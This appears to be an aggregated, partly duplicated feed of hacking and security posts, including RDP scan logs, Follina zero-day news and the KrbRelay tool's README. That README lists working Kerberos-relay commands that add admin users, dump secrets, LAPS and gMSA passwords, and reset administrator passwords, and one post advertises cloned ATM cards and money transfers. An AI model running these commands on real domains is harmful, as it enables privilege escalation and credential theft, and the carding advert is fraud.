Web service-specific vulnerability scanners

Vulnerability scanners are automated tools that crawl an application to identify the signatures of known vulnerabilities.Continue reading on Medium »
Read more...

Finding Main() with Ghidra
https://www.reddit.com/r/redteamsec/comments/v1dtox/finding_main_with_ghidra/

submitted by /u/DLLCoolJ (https://www.reddit.com/user/DLLCoolJ)
[link] (https://www.youtube.com/watch?v=cBT5_5SvzFo) [comments] (https://www.reddit.com/r/redteamsec/comments/v1dtox/finding_main_with_ghidra/)

___________________________
@hacking_Attack
@Hacking_Video

Many IP attempt scanning attack to 3389 port
https://www.reddit.com/r/Pentesting/comments/v1e30x/many_ip_attempt_scanning_attack_to_3389_port/

___________________________
@hacking_Attack
@Hacking_Video

If you opened 3389 port outside by mistake, you might be get log message like ' +&Cookie: mstshash=hello ', ' Cookie: mstshash=A', '/*Cookie: mstshash=Administr' . This message means attempting to connect to your computer or server. It is trace of scanning attack When you search this log on google, you can get result of most attack attempted from Russia IP. There are 553 scanner attack to 3389 port. Of the 553 attacks, it can be confirmed that there are 420 attacks on the Chinese IP and 26 attacks on the Russian IP. ​ https://preview.redd.it/la4seiyyjp291.png?width=1762&format=png&auto=webp&s=5d059914728010b40665cd901316f5da4d04f78b submitted by /u/Late_Ice_9288 (https://www.reddit.com/user/Late_Ice_9288)
[link] (https://www.reddit.com/r/Pentesting/comments/v1e30x/many_ip_attempt_scanning_attack_to_3389_port/) [comments] (https://www.reddit.com/r/Pentesting/comments/v1e30x/many_ip_attempt_scanning_attack_to_3389_port/)

___________________________
@hacking_Attack
@Hacking_Video

Price Parameter Tampering | How I Change Any Price on Website

Hi everyone how are you?, I hope you guys are well. I’m RyuuKhagetsu, this is my article in English, sorry if there are any mistakes. I…Continue reading on Medium »
Read more...

Web service-specific vulnerability scanners
https://medium.com/@arshiadev/web-service-specific-vulnerability-scanners-505d482b230a?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Vulnerability scanners are automated tools that crawl an application to identify the signatures of known vulnerabilities.Continue reading on Medium » (https://medium.com/@arshiadev/web-service-specific-vulnerability-scanners-505d482b230a?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Price Parameter Tampering | How I Change Any Price on Website
https://medium.com/@ryuukhagetsu/price-parameter-tampering-how-i-change-any-price-on-website-dec511c499cf?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hi everyone how are you?, I hope you guys are well. I’m RyuuKhagetsu, this is my article in English, sorry if there are any mistakes. I…Continue reading on Medium » (https://medium.com/@ryuukhagetsu/price-parameter-tampering-how-i-change-any-price-on-website-dec511c499cf?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
DO ALL TRANSFERS CASHAPP WESTERN UNION PAYPAL BLANK CLOND ATM CREDIT CARDS HIGH BALANCE

ALBERT’S CASH TEAM SERVICE WORLDWIDE(GET RICH NOW/SOLVE ALL PROBLEM NOW)

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Zero-Day ‘Follina’ Bug Lays Older Microsoft Office Versions Open to Attack. Malware loads itself from remote servers and bypasses Microsoft’s Defender AV scanner, according to reports.

https://external-preview.redd.it/DDZjqETD7UeNY7QBj3O4WVtRaS-30quYJwcTqbYrZlg.jpg?width=640&crop=smart&auto=webp&s=992407ba1db116c39314c0835f160d99b58b4b91 submitted by /u/Late_Ice_9288
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
KrbRelay : Framework For Kerberos Relaying

KrbRelay should be working on most fully patched Windows systems. There may be difficulties with Server OS in lab environments because of the firewall blocking the OXID resolver however, this will most likely not be an issue during real life engagements, same goes for CLSIDs. Supported Protocols and FeaturesSome protocols are more completed than others, PR’s are welcomed.

* LLMNR
* LDAP/LDAPS
* HTTP
* EWS

* SMBv2
* RPC over SMB
* MS-SAMR
* MS-SCMR
* MS-RPRN
* MS-RRP
* MS-LSAT/MS-LSAD ExamplesLPE
.\KrbRelay.exe -spn ldap/dc01.htb.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-2982218752-1219710089-3973213059-1606
.\KrbRelay.exe -spn ldap/dc01.htb.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred
Cross-Session LDAP
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -shadowcred
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -shadowcred win2016$
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -rbcd S-1-5-21-2982218752-1219710089-3973213059-1606 win2016$
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember srv_admins domain_user
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -laps
.\KrbRelay.exe -spn ldap/dc02.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ssl -gmsa
.\KrbRelay.exe -spn ldap/dc02.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ssl -reset-password administrator Password123!
Cross-Session HTTP
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.asmx -ssl -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ews-search beta,test
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.asmx -ssl -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ews-delegate domain_user@htb.local
.\KrbRelay.exe -spn http/win2016.htb.local -endpoint iisstart.htm -proxy -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182
Cross-Session SMB
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -console
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-privileges (([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value)
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -secrets
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -service-add addUser “C:\windows\system32\cmd.exe /c “”””C:\windows\system32\net user cube Password123! /add && C:\windows\system32\net localgroup administrators cube /add”””””
LLMNR
.\KrbRelay.exe -llmnr -spn ‘cifs/win2019.htb.local’ -secrets CheckPort.exeis a C# tool that can be used to discover available ports for the OXID resolver.

C:\Users\domain_user\Desktop\KrbRelay\CheckPort\bin\Release\CheckPort.exe
[] Looking for available ports.. [] Port: 1024 is available CLSIDsWe’ll need to unmarshal our OBJREF inside of a process that would allow authentications over the network, this can be verified by looking at the Impersonation Level* RPC_C_IMP_LEVEL_DEFAULT # Will not work
* RPC_C_IMP_LEVEL_ANONYMOUS # Will not work
* RPC_C_IMP_LEVEL_IDENTIFY # Works for LDAP
* RPC_C_IMP_LEVEL_IMPERSONATE # Required for SMB
* RPC_C_IMP_LEVEL_DELEGATE

When relaying to LDAP or any other service that has signing enabled but not enforced we would also need to verify that the Authentication Levelof the process is set to RPC_C_AUTHN_LEVEL_CONNECT.

Processes running under NT Authority\Network servicewill use the SYSTEM account when authenticating over the network.

Tool for discove[...]

___________________________
@hacking_Attack
@Hacking_Video

ring CLSIDs: https://github.com/tyranid/oleviewdotnet

Import-Module .\OleViewDotNet.psd1
Get-ComDatabase -SetCurrent
$comdb = Get-CurrentComDatabase
$clsids = (Get-ComClass).clsid
Get-ComProcess -DbgHelpPath ‘C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll’ | select ProcessId,ExecutablePath,Name,AppId,User,AuthnLevel,ImpLevel Windows 10 1903SYSTEM Relay
0bae55fc-479f-45c2-972e-e951be72c0c1 # RPC_C_IMP_LEVEL_IDENTIFY
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE
Cross-Session Relay
0289a7c5-91bf-4547-81ae-fec91a89dec5 # RPC_C_IMP_LEVEL_IMPERSONATE
1f87137d-0e7c-44d5-8c73-4effb68962f2 # RPC_C_IMP_LEVEL_IMPERSONATE
73e709ea-5d93-4b2e-bbb0-99b7938da9e4 # RPC_C_IMP_LEVEL_IMPERSONATE
9678f47f-2435-475c-b24a-4606f8161c16 # RPC_C_IMP_LEVEL_IMPERSONATE
9acf41ed-d457-4cc1-941b-ab02c26e4686 # RPC_C_IMP_LEVEL_IMPERSONATE
ce0e0be8-cf56-4577-9577-34cc96ac087c # RPC_C_IMP_LEVEL_IMPERSONATE Server 2019SYSTEM Relay
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE
Cross-Session Relay
354ff91b-5e49-4bdc-a8e6-1cb6c6877182 # RPC_C_IMP_LEVEL_IMPERSONATE
38e441fb-3d16-422f-8750-b2dacec5cefc # RPC_C_IMP_LEVEL_IMPERSONATE
f8842f8e-dafe-4b37-9d38-4e0714a61149 # RPC_C_IMP_LEVEL_IMPERSONATE Server 2016SYSTEM Relay
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE
Cross-Session Relay
0289a7c5-91bf-4547-81ae-fec91a89dec5 # RPC_C_IMP_LEVEL_IMPERSONATE
1f87137d-0e7c-44d5-8c73-4effb68962f2 # RPC_C_IMP_LEVEL_IMPERSONATE
5f7f3f7b-1177-4d4b-b1db-bc6f671b8f25 # RPC_C_IMP_LEVEL_IMPERSONATE
73e709ea-5d93-4b2e-bbb0-99b7938da9e4 # RPC_C_IMP_LEVEL_IMPERSONATE
9678f47f-2435-475c-b24a-4606f8161c16 # RPC_C_IMP_LEVEL_IMPERSONATE
98068995-54d2-4136-9bc9-6dbcb0a4683f # RPC_C_IMP_LEVEL_IMPERSONATE
9acf41ed-d457-4cc1-941b-ab02c26e4686 # RPC_C_IMP_LEVEL_IMPERSONATE
bdb57ff2-79b9-4205-9447-f5fe85f37312 # RPC_C_IMP_LEVEL_IMPERSONATE
ce0e0be8-cf56-4577-9577-34cc96ac087c # RPC_C_IMP_LEVEL_IMPERSONATE Error codesDoesn’t work the first time? try again then check these error codes, and if you are going to open an Issue, please paste the full output. Firewall blocking the OXID resolverSystem.Runtime.InteropServices.COMException (0x800706BA): The RPC server is unavailable. (Exception from HRESULT: 0x800706BA) Bad CLSIDSystem.Runtime.InteropServices.COMException (0x80080004): Bad path to object (Exception from HRESULT: 0x80080004 (CO_E_BAD_PATH)) Download

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Curiosity over vulnerabilities

Dear all, I have a curiosity. I'm not well educated in programming and hacking, so excuse me if I post this here. I read over and over again that people hade their instagram account hacked. How is this possible? Why is that Instagram has so many holes and vulnerabilities?

submitted by /u/LeaderOne81
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Zero-Day ‘Follina’ Bug Lays Older Microsoft Office Versions Open to Attack

Zero-Day ‘Follina’ Bug Lays Older Microsoft Office Versions Open to AttackPost Views: 53
Premium Content https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Patreon-3.png Subscribe to Patreon to watch this episode.
Reading Time: 2 Minutes
A zero-day vulnerability in Microsoft Office allows adversaries to run malicious code on targeted systems via a flaw a remote Word template feature.
The warning comes from Japanese security vendor Nao Sec, which tweeted a warning about the zero day over the weekend.

Noted security researcher Kevin Beaumont dubbed the vulnerability “Follina”, explaining the zero day code references the Italy-based area code of Follina – 0438.

Beaumont said the flaw is abusing the remote template feature in Microsoft Word and is not dependent on a typical macro-based exploit path, common within Office-based attacks. According to Nao Sec, a live sample of the bug was found in a Word document template and  links to an internet protocol (IP) address in the Republic of Belarus.

It’s unclear if the zero-day bug has been actively leveraged by adversaries. There are unconfirmed reports that proof-of-concept code exists and more recent versions of Office are vulnerable to attack. Meanwhile, security researchers say  users can follow Microsoft Attack Surface Reduction measures to mitigate risk, in lieu of a patch.
See Also: Complete Offensive Security and Ethical Hacking Course https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Working of Follina Nao Sec researchers explain the path to infection includes the malicious template loading an exploit via a hypertext markup language (HTML) file from a remote server.
Interesting maldoc was submitted from Belarus. It uses Word's external link to load the HTML and then uses the "ms-msdt" scheme to execute PowerShell code.https://t.co/hTdAfHOUx3 pic.twitter.com/rVSb02ZTwt

— nao_sec (@nao_sec) May 27, 2022
The loaded HTML uses the “ms-msdt” MSProtocol URI scheme to load and execute a snippet of PowerShell code.

“It uses Word’s external link to load the HTML and then uses the ‘ms-msdt’ scheme to execute PowerShell code,” as reported by Nao Sec.

The MSDT stands for the Microsoft Support Diagnostic Tool and collects information and reports to Microsoft Support. This troubleshooting wizard will analyze the gathered info and attempt to find a resolution to hiccups experienced by the user.

Beaumont found that the flaw allows the code to run via MSDT, “even if macros are disabled”.
See Also: Malicious PyPI package opens backdoors on Windows, Linux, and Macs “Protected View does kick in, although if you change the document to RTF form, it runs without even opening the document (via the preview tab in Explorer) let alone Protected View,” further explained by Beaumont.

Beaumont confirmed that the exploit is currently affecting the Older versions of Microsoft Office 2013 and 2016 and the endpoint detection “missed execution” of malware.

Another security researcher Didier Stevens said he exploited the Follina bug on a fully patched version of Office 2021, and John Hammond a cybersecurity researcher tweeted the working proof of Follina.
See Also: Offensive Security Tool: Arjun Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?

If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
Microsoft users with E5 licenses can detect the exploit by appending the endpo[...]

___________________________
@hacking_Attack
@Hacking_Video